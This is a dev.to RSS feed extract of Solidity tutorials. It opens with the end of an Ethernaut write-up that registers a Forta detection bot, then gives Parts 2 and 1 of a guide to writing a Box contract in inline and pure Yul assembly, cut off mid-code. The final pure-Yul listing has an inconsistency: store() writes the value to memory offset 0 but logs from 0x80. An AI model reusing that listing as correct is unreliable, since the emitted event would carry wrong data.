&lt;span class="nx"&gt;setBotSig&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;web3&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;eth&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;abi&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;encodeFunctionCall&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
    &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;setDetectionBot&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="na"&gt;type&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;function&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="na"&gt;inputs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
        &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;type&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;address&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;detectionBotAddress&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="p"&gt;},&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;botAddr&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;

&lt;span class="c1"&gt;// Send the transaction setting the bot&lt;/span&gt;
&lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;web3&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;eth&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;sendTransaction&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;&lt;span class="na"&gt;from&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;player&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;to&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;forta&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;data&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;setBotSig&lt;/span&gt; &lt;span class="p"&gt;})&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That is it!&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Learned something awesome? Consider starring the &lt;a href="https://github.com/theNvN/ethernaut-openzeppelin-hacks"&gt;github repo&lt;/a&gt;&lt;/em&gt; 😄&lt;/p&gt;

&lt;p&gt;&lt;em&gt;and following me on twitter &lt;a href="https://twitter.com/the_nvn"&gt;here&lt;/a&gt;&lt;/em&gt; 🙏&lt;/p&gt;

</description>
      <category>solidity</category>
      <category>ethereum</category>
      <category>openzeppelin</category>
      <category>smartcontract</category>
    </item>
    <item>
      <title>A Practical Introduction To Solidity Assembly: Part 2</title>
      <dc:creator>Naveen ⚡</dc:creator>
      <pubDate>Fri, 29 Apr 2022 19:38:23 +0000</pubDate>
      <link>https://dev.to/nvnx/a-practical-introduction-to-solidity-assembly-part-2-2bp</link>
      <guid>https://dev.to/nvnx/a-practical-introduction-to-solidity-assembly-part-2-2bp</guid>
      <description>&lt;p&gt;In the previous part (&lt;a href="https://dev.to/nvn/a-practical-introduction-to-solidity-assembly-part-1-km6"&gt;Part 1&lt;/a&gt;) we understood some facts about solidity compiler and wrote the &lt;code&gt;Box&lt;/code&gt; contract's functions using inline assembly i.e. in Yul. This part would guide you to writing the &lt;code&gt;Box&lt;/code&gt; contract in pure assembly. As a reminder here is the &lt;code&gt;Box&lt;/code&gt; contract with inline assembly from previous part:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;pragma solidity ^0.8.7;

contract Box {
    uint256 public value;

    function retrieve() public view returns(uint256) {
        assembly {
            // load value at slot 0 of storage
            let v := sload(0) 

            // store into memory at 0
            mstore(0x80, v)

            // return value at 0 memory address of size 32 bytes
            return(0x80, 32) 
        }
    }

    function store(uint256 newValue) public {
        assembly {
            // store value at slot 0 of storage
            sstore(0, newValue)

            // emit event
            mstore(0x80, newValue)
            log1(0x80, 0x20,0xac3e966f295f2d5312f973dc6d42f30a6dc1c1f76ab8ee91cc8ca5dad1fa60fd)
        }
    }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Prelude
&lt;/h2&gt;

&lt;p&gt;You've already had a taste of assembly with inline assembly. We're going to use the body of the functions similarly using opcodes to perform operations. Note that when &lt;code&gt;Box&lt;/code&gt; will be purely written in Yul, it will no longer be a Solidity contract. The solidity compiler only recognizes the inline assembly with the &lt;code&gt;assembly { }&lt;/code&gt; blocks. So, if you're writing it on Remix IDE, be sure to select Yul compiler.&lt;/p&gt;

&lt;p&gt;Before I move into assembly let me explain how exactly the contract is "initiated" by the EVM. Our &lt;code&gt;Box&lt;/code&gt; contract doesn't have a constructor but that doesn't mean there won't be any initial setup execution going on. The compiled bytecode of a contract has two sections:&lt;/p&gt;

&lt;h3&gt;
  
  
  Initialization bytecode
&lt;/h3&gt;

&lt;p&gt;This part of bytecode contains the instruction for setting up any initial state (contract constructor logic) and handing over the copy of &lt;strong&gt;runtime bytecode&lt;/strong&gt; to EVM, during the deployment of the contract. After EVM receives &lt;strong&gt;runtime bytecode&lt;/strong&gt; it saves it on blockchain storage and associates with an address. Thus, the final bytecode deployed on-chain consists only of the runtime bytecode. Initialization bytecode is executed only once during the deployment of the contract and is not stored in the storage.&lt;/p&gt;

&lt;p&gt;For example in the below bytecode of some very tiny contract:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;600a600c600039600a6000f3602a60505260206050f3
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The leading &lt;code&gt;600a600c600039600a6000f3&lt;/code&gt; part is initialization bytecode and rest is runtime bytecode.&lt;/p&gt;

&lt;p&gt;Since, we will be writing in pure assembly, any initialization operation will need to be performed manually now. &lt;code&gt;Box&lt;/code&gt; does not have any constructor, so no initial state variable will be set up. Only thing left to do is to copy the runtime code and return it to EVM. Rest is automatically handled by the EVM itself.&lt;/p&gt;

&lt;h3&gt;
  
  
  Runtime bytecode
&lt;/h3&gt;

&lt;p&gt;This comprises of anything (methods, events, constants, etc.) in contract except constructor code. It consists of all execution logic when the contract is interacted with. &lt;/p&gt;

&lt;p&gt;When a contract is interacted through calling a method on it - an encoded calldata is sent to the contract. The contract extracts the first 4 bytes of this calldata, which is the function selector and basically run a series of &lt;code&gt;if&lt;/code&gt; / &lt;code&gt;else&lt;/code&gt; statements to decide which function matches it. And execution is then carried out according to matched function (in runtime bytecode).&lt;/p&gt;

&lt;p&gt;For example, consider the following calldata:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;0x6057361d000000000000000000000000000000000000000000000000000000000000000a
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;where &lt;code&gt;6057361d&lt;/code&gt; is the function selector - which will match &lt;code&gt;Box&lt;/code&gt;'s &lt;code&gt;store()&lt;/code&gt; function - which will be invoked after match.&lt;/p&gt;

&lt;h3&gt;
  
  
  Basic Yul Structure
&lt;/h3&gt;

&lt;p&gt;A Yul code consists of "blocks" and "sub-blocks" defined by &lt;code&gt;object&lt;/code&gt; keyword. An &lt;code&gt;object&lt;/code&gt;. These &lt;code&gt;object&lt;/code&gt;s are used to group &lt;code&gt;code&lt;/code&gt; and &lt;code&gt;data&lt;/code&gt; nodes within them. The &lt;code&gt;data&lt;/code&gt; node is some static data. And &lt;code&gt;code&lt;/code&gt; node is executable code of &lt;code&gt;object&lt;/code&gt;. Within &lt;code&gt;code&lt;/code&gt; node you write logic using loops, if-else statements, opcodes, etc.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;object "ExampleObject" {
    code {
        // some logic code
    }

    data "ExampleData" hex"123"

    object "ExampleSubObject" {
        code {
            // some other logic code
        }
    }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;See an example &lt;a href="https://docs.soliditylang.org/en/v0.8.13/yul.html#specification-of-yul-object"&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Pure Assembly &lt;code&gt;Box&lt;/code&gt; Contract
&lt;/h2&gt;

&lt;p&gt;A contract consists of a single &lt;code&gt;object&lt;/code&gt; with sub-&lt;code&gt;object&lt;/code&gt;s which represent the (runtime) code to be deployed. The &lt;code&gt;code&lt;/code&gt; nodes are executable code of a &lt;code&gt;object&lt;/code&gt;. For example we defined/structure &lt;code&gt;Box&lt;/code&gt; contract as follows:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;object "Box" {
    code {
        // initialization code
    }

    object "runtime" {
        code {
            // runtime code within sub-object
        }
    }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Let's focus on &lt;code&gt;initialization&lt;/code&gt; part first and then move on to &lt;code&gt;runtime&lt;/code&gt; part. &lt;/p&gt;

&lt;h3&gt;
  
  
  Initialization code
&lt;/h3&gt;

&lt;p&gt;As discussed earlier, the &lt;code&gt;initialization&lt;/code&gt; code must return the runtime code. For this we're required to determine the &lt;code&gt;offset&lt;/code&gt; (aka position) of the runtime code in the contract's bytecode and its &lt;code&gt;size&lt;/code&gt;. Then copy this bytecode to the memory so that it can be returned.&lt;/p&gt;

&lt;p&gt;The Yul dialect actually provides three specific functions to do this: &lt;a href="https://docs.soliditylang.org/en/v0.8.13/yul.html#datasize-dataoffset-datacopy"&gt;&lt;code&gt;datasize(x)&lt;/code&gt;, &lt;code&gt;dataoffset(x)&lt;/code&gt; and &lt;code&gt;datacopy(t, f, l)&lt;/code&gt;&lt;/a&gt; which are used to access other parts of a Yul object.&lt;/p&gt;

&lt;p&gt;The &lt;code&gt;datacopy&lt;/code&gt; of Yul is similar to that of &lt;a href="https://www.evm.codes/#39"&gt;&lt;code&gt;codecopy&lt;/code&gt;&lt;/a&gt; of EVM. It takes the destination offset (in memory) to copy code to, the source offset to copy code from and the length of the code to copy. Then we simply return it with &lt;code&gt;return&lt;/code&gt; opcode.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;dataoffset&lt;/code&gt; returns offset of the runtime section and &lt;code&gt;datasize&lt;/code&gt; returns the size of it.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;object "Box" {
    code {
        let runtime_size := datasize("runtime")
        let runtime_offset := dataoffset("runtime")
        datacopy(0, runtime_offset, runtime_size)
        return(0, runtime_size)
    }

    object "runtime" {
        code {
            // runtime code within sub-object
        }
    }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Runtime code
&lt;/h3&gt;

&lt;p&gt;Okay, time to sort out the runtime part. Fortunately, with Yul we can write functions just like in we did with inline assembly before. The only tricky part is determining the which function to execute, upon receiving the calldata. Remember from previously discussed that this is done behind the scenes by extracting the function selector (first 4 bytes of calldata) and matching it with the functions defined in the contract. How do we do that? Let's see!&lt;/p&gt;

&lt;p&gt;Before solving how to go about function selector thing, first let's define the &lt;code&gt;retrieve&lt;/code&gt; and &lt;code&gt;store&lt;/code&gt; functions.&lt;/p&gt;

&lt;p&gt;Time to fill-in runtime part - which is almost similar to the functions inline assembly part.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;object "Box" {
    code {
        // ..
    }

    object "runtime" {
        code {
            function retrieve() -&amp;gt; memloc {
                let val := sload(0)
                memloc := 0x80
                mstore(memloc, val)
            }

            function store(val) {
                sstore(0, val)
                mstore(0x80, val)
                log1(0x80, 0x20,0xac3e966f295f2d5312f973dc6d42f30a6dc1c1f76ab8ee91cc8ca5dad1fa60fd)
            }
        }
    }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Above, the &lt;code&gt;store()&lt;/code&gt; function is basically the same as before in inline assembly. &lt;code&gt;retrieve()&lt;/code&gt; however, instead of returning the value upfront, stores it in memory (&lt;code&gt;mstore(memloc, val)&lt;/code&gt;) returns the memory location at which the value is stored. Reason will become clear later.&lt;/p&gt;

&lt;p&gt;It might seem we're done, but not so fast! It's pure assembly. Remember the runtime code part where function selector from calldata is extracted to match the function to be executed? Well, we need to manually do that too. So, let's go!&lt;/p&gt;

&lt;p&gt;First, let's calculate the selector from calldata that was sent to it. The calldata may contain encoded arguments of call, apart from the function selector. But we need to extract the first 4 bytes (selector) part of the calldata for time being. The calldata can be read using the &lt;a href="https://www.evm.codes/#35"&gt;&lt;code&gt;calldataload&lt;/code&gt;&lt;/a&gt; opcode which takes only 1 input - the position/offset to read the calldata from. But it returns fixed 32 byte length of data starting from the given position. &lt;/p&gt;

&lt;p&gt;For example, if we invoke &lt;code&gt;store(10)&lt;/code&gt; (10 = &lt;code&gt;0xa&lt;/code&gt;) on &lt;code&gt;Box&lt;/code&gt;, the calldata will look like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;0x6057361d000000000000000000000000000000000000000000000000000000000000000a
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now, if you do &lt;code&gt;calldataload(0)&lt;/code&gt; on above calldata it returns 32 byte value starting from 0:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;6057361d00000000000000000000000000000000000000000000000000000000
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;How do we extract only first 4 bytes (&lt;code&gt;6057361d&lt;/code&gt;) from this (&lt;code&gt;calldataload(0)&lt;/code&gt;) now? Actually, we can use division using &lt;code&gt;div&lt;/code&gt; opcode, like following:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;div(
    calldataload(0),
    0x100000000000000000000000000000000000000000000000000000000
)

// gives first four bytes of calldataload(0) i.e. 6057361d
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;But why does it work? Let's take an example with decimal numbers instead of hexadecimal numbers. If &lt;code&gt;9876543&lt;/code&gt; was calldata and we wanted to extract just first 4 digits using division operation, what would you divide it by (ignore decimals)? Correct, by 1000!&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;9876543 / 1000 = 9876 // considering only integer part
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Similarly - to get first 4 bytes of 32 byte length (total 64 hex characters) of hex - &lt;code&gt;calldataload(0)&lt;/code&gt;, we  divide it by &lt;code&gt;0x100000000000000000000000000000000000000000000000000000000&lt;/code&gt; (56 &lt;code&gt;0&lt;/code&gt;s).&lt;/p&gt;

&lt;p&gt;Based on this let's write a helper function &lt;code&gt;selector&lt;/code&gt; that extracts function selector from calldata.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;object "Box" {
    code { .. }

    object "runtime" {
        code {
            function retrieve() -&amp;gt; memloc { .. }

            function store(val) { .. }

            function selector() -&amp;gt; s {
                    s := div(calldataload(0), 
                    0x100000000000000000000000000000000000000000000000000000000)
            }
        }
    }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Only thing left now is to switch to the appropriate function based of selector we just extracted. For this purpose we can utilize Yul's &lt;code&gt;switch&lt;/code&gt; statement.&lt;/p&gt;

&lt;p&gt;When contract is compiled to bytecode every function's selector is also pre-calculated and appended in the bytecode itself. So, that it can be compared against extracted selector from calldata. Hence, we'll also need to pre-calculate selectors of &lt;code&gt;store()&lt;/code&gt; and &lt;code&gt;retrieve()&lt;/code&gt; functions. One way to do this is using the &lt;code&gt;keccak256&lt;/code&gt; hashing of function signature:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;// retrieve function
bytes4(keccak256("retrieve()")); // 0x2e64cec1

// store function
bytes4(keccak256("store(uint256)")); // 0x6057361d
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now with function selectors calculated, we can write the &lt;code&gt;switch&lt;/code&gt; statement:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;object "Box" {
    code { .. }

    object "runtime" {
        code {
            switch selector() 

            // retrieve function match
            case 0x2e64cec1 {
                let memloc := retrieve()
                return(memloc, 32)
            }

            // store function match
            case 0x6057361d {
                store(calldataload(4))
            }

            // revert if no match
            default {
                revert(0, 0)
            }   

            function retrieve() -&amp;gt; memloc { .. }

            function store(val) { .. }

            function selector() -&amp;gt; s {
                    s := div(calldataload(0), 
                    0x100000000000000000000000000000000000000000000000000000000)
            }
        }
    }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Remember we returned the memory location from &lt;code&gt;retrieve()&lt;/code&gt; function instead of value? This is so, because we can use it with &lt;code&gt;return&lt;/code&gt; opcode!&lt;/p&gt;

&lt;p&gt;Another to note is the argument passed to &lt;code&gt;store()&lt;/code&gt; function above i.e. &lt;code&gt;calldataload(4)&lt;/code&gt;. &lt;code&gt;calldataload(4)&lt;/code&gt; would equate to the value argument passed along in the calldata. Since first 4 bytes is selector we skip first 4 bytes and read the next 32 bytes. From the previous calldata example of &lt;code&gt;store(10)&lt;/code&gt; call:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;0x6057361d000000000000000000000000000000000000000000000000000000000000000a
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;calldataload(4)&lt;/code&gt; would return:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;000000000000000000000000000000000000000000000000000000000000000a
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;which is nothing by 10 in hex.&lt;/p&gt;

&lt;p&gt;Finally we have a simple pure assembly (Yul) &lt;code&gt;Box&lt;/code&gt; contract ready:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;object "Box" {
    code { 
        let runtime_size := datasize("runtime")
        let runtime_offset := dataoffset("runtime")
        datacopy(0, runtime_offset, runtime_size)
        return(0, runtime_size)
    }

    object "runtime" {
        code {
            switch selector() 

            // retrieve function match
            case 0x2e64cec1 {
                let memloc := retrieve()
                return(memloc, 32)
            }

            // store function match
            case 0x6057361d {
                store(calldataload(4))
            }

            // revert if no match
            default {
                revert(0, 0)
            }   

            function retrieve() -&amp;gt; memloc {
                let val := sload(0)
                memloc := 0
                mstore(memloc, val)
            }

            function store(val) {
                sstore(0, val)
                mstore(0, val)
                log1(0x80, 0x20,0xac3e966f295f2d5312f973dc6d42f30a6dc1c1f76ab8ee91cc8ca5dad1fa60fd)
            }

            function selector() -&amp;gt; s {
                    s := div(calldataload(0), 
                    0x100000000000000000000000000000000000000000000000000000000)
            }
        }
    }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And this is it! Congrats, you made it!&lt;/p&gt;

&lt;h2&gt;
  
  
  Resources
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://docs.soliditylang.org/en/v0.8.13/yul.html#yul"&gt;Yul&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="[docs](https://docs.soliditylang.org/en/v0.8.13/yul.html#evm-dialect)"&gt;EVM dialect&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://docs.soliditylang.org/en/v0.8.13/yul.html#specification-of-yul-object"&gt;Specification of Yul Object&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://docs.soliditylang.org/en/v0.8.13/yul.html#datasize-dataoffset-datacopy"&gt;datasize, dataoffset, datacopy&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Find me on Twitter &lt;a href="https://twitter.com/the_nvn"&gt;@the_nvn&lt;/a&gt;&lt;/p&gt;

</description>
      <category>solidity</category>
      <category>smartcontract</category>
      <category>ethereum</category>
    </item>
    <item>
      <title>A Practical Introduction To Solidity Assembly: Part 1</title>
      <dc:creator>Naveen ⚡</dc:creator>
      <pubDate>Thu, 28 Apr 2022 20:44:11 +0000</pubDate>
      <link>https://dev.to/nvnx/a-practical-introduction-to-solidity-assembly-part-1-km6</link>
      <guid>https://dev.to/nvnx/a-practical-introduction-to-solidity-assembly-part-1-km6</guid>
      <description>&lt;p&gt;In the previous part (&lt;a href="https://dev.to/nvn/a-practical-introduction-to-solidity-assembly-part-0-58d5"&gt;Part 0&lt;/a&gt;) we covered some pre-requisite knowledge of EVM. In this part, we will write the &lt;code&gt;Box&lt;/code&gt; contract partially in assembly - the function bodies of &lt;code&gt;retrieve()&lt;/code&gt; and &lt;code&gt;store()&lt;/code&gt;. Here is our &lt;code&gt;Box&lt;/code&gt; contract in Solidity:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;pragma solidity ^0.8.7;

contract Box {
    uint256 private _value;

    event NewValue(uint256 newValue);

    function store(uint256 newValue) public {
        _value = newValue;
        emit NewValue(newValue);
    }

    function retrieve() public view returns (uint256) {
        return _value;
    }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;You can interleave Solidity statements with &lt;code&gt;assembly { }&lt;/code&gt; blocks and can write inline assembly within that code block. As mentioned previously language used for assembly for EVM is &lt;a href="https://docs.soliditylang.org/en/v0.8.13/yul.html#yul"&gt;Yul&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Prelude
&lt;/h2&gt;

&lt;p&gt;Before you move further, I want to clear up some possible confusion. When you compile a contract it is compiled to bytecode. Bytecode is nothing but a long sequence of bytes, something like:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;608060405234801561001....36f6c63430008070033
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;What does it represent? Well, it is nothing but list of tiny, 1 byte, instructions appended together. These tiny instructions are called &lt;strong&gt;opcodes&lt;/strong&gt;. EVM understands/interprets these opcodes during execution of any operation in the contract.&lt;/p&gt;

&lt;p&gt;In the above bytecode, for example, the first instruction is &lt;code&gt;60&lt;/code&gt; (1 byte), which is code for opcode &lt;code&gt;PUSH1&lt;/code&gt;. You can look up all of the EVM opcodes on &lt;a href="https://www.evm.codes"&gt;evm.codes&lt;/a&gt;. These opcodes comprise of "EVM dialect".&lt;/p&gt;

&lt;p&gt;While writing assembly code, in Yul, you'll notice that Yul provides functions like &lt;code&gt;add&lt;/code&gt;, &lt;code&gt;sload&lt;/code&gt;, &lt;code&gt;store&lt;/code&gt;, &lt;code&gt;mstore&lt;/code&gt; etc. which are similar to opcodes of EVM dialect - &lt;code&gt;ADD&lt;/code&gt;, &lt;code&gt;SLOAD&lt;/code&gt;, &lt;code&gt;SSTORE&lt;/code&gt;, &lt;code&gt;MLOAD&lt;/code&gt; respectively. But, EVM dialect is not exactly the same as Yul's. Even though most opcodes from EVM dialect are available in Yul dialect, but not all. E.g. &lt;code&gt;PUSH1&lt;/code&gt; opcode has no corresponding Yul function. You can check all such Yul functions on the &lt;a href="https://docs.soliditylang.org/en/v0.8.13/yul.html#evm-dialect"&gt;docs&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Even though while writing Yul you get fine-grain control, Yul still manages some of the even more low level things like local variables and control flow. So, the order of level of control would be like:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Solidity &amp;lt; Yul (assembly) &amp;lt; bytecode (opcodes)&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;If you would want to go even beyond Yul, you'd be writing raw bytecode for the EVM and won't need the compiler 🤖.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Note: From now on I may use the term "opcode" to refer to Yul function that corresponds to EVM opcode in the context, since all common EVM opcodes are provided by Yul with similar function signature.&lt;/em&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Inline Assembly
&lt;/h2&gt;

&lt;p&gt;Now, let's use inline assembly to write &lt;code&gt;retrieve()&lt;/code&gt; and &lt;code&gt;store()&lt;/code&gt; function bodies of &lt;code&gt;Box&lt;/code&gt; in assembly. We simply use &lt;code&gt;assembly { }&lt;/code&gt; blocks. These blocks have access to outside local variables too.&lt;/p&gt;

&lt;p&gt;First, focus on &lt;code&gt;retrieve()&lt;/code&gt; function body. All it does is:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Read &lt;code&gt;_value&lt;/code&gt; state variable from storage&lt;/li&gt;
&lt;li&gt;Return the read value&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;You want opcodes to perform this. &lt;a href="https://www.evm.codes/"&gt;evm.codes&lt;/a&gt; is a great reference to search for EVM opcodes. Have a look there and search for our first opcode: &lt;a href="https://www.evm.codes/#54"&gt;&lt;code&gt;sload&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  &lt;code&gt;sload&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;sload&lt;/code&gt; takes one input:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;key&lt;/code&gt; which is Storage slot number (see &lt;a href="https://docs.soliditylang.org/en/v0.8.13/internals/layout_in_storage.html"&gt;Layout of Storage&lt;/a&gt;) to be read.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;And returns the read value to call stack. &lt;/p&gt;

&lt;p&gt;Go ahead read the slot 0 (&lt;code&gt;_value&lt;/code&gt; is in slot 0):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;assembly {
    let v := sload(0) // _value is at slot #0
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now how do we return it? Right! The &lt;a href="https://www.evm.codes/#f3"&gt;&lt;code&gt;return&lt;/code&gt;&lt;/a&gt; opcode. &lt;/p&gt;

&lt;h3&gt;
  
  
  &lt;code&gt;return&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;It takes two inputs:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;offset&lt;/code&gt; which is the location of where the value starts from in memory&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;size&lt;/code&gt; which is the number of bytes starting from &lt;code&gt;offset&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;But &lt;code&gt;v&lt;/code&gt; returned by &lt;code&gt;sload&lt;/code&gt; is in call-stack not memory for &lt;code&gt;return&lt;/code&gt; to work with! So we need to move it to memory first. Enter &lt;a href="https://www.evm.codes/#52"&gt;&lt;code&gt;mstore&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  &lt;code&gt;mstore&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;It also takes two inputs:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;offset&lt;/code&gt; which is location (in memory array) where the value should be stored &lt;/li&gt;
&lt;li&gt;
&lt;code&gt;value&lt;/code&gt; which is bytes to store (which is &lt;code&gt;v&lt;/code&gt; for us).&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Proceeding:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;assembly {
    let v := sload(0) // read from slot #0
    mstore(0x80, v) // store v at position 0x80 in memory
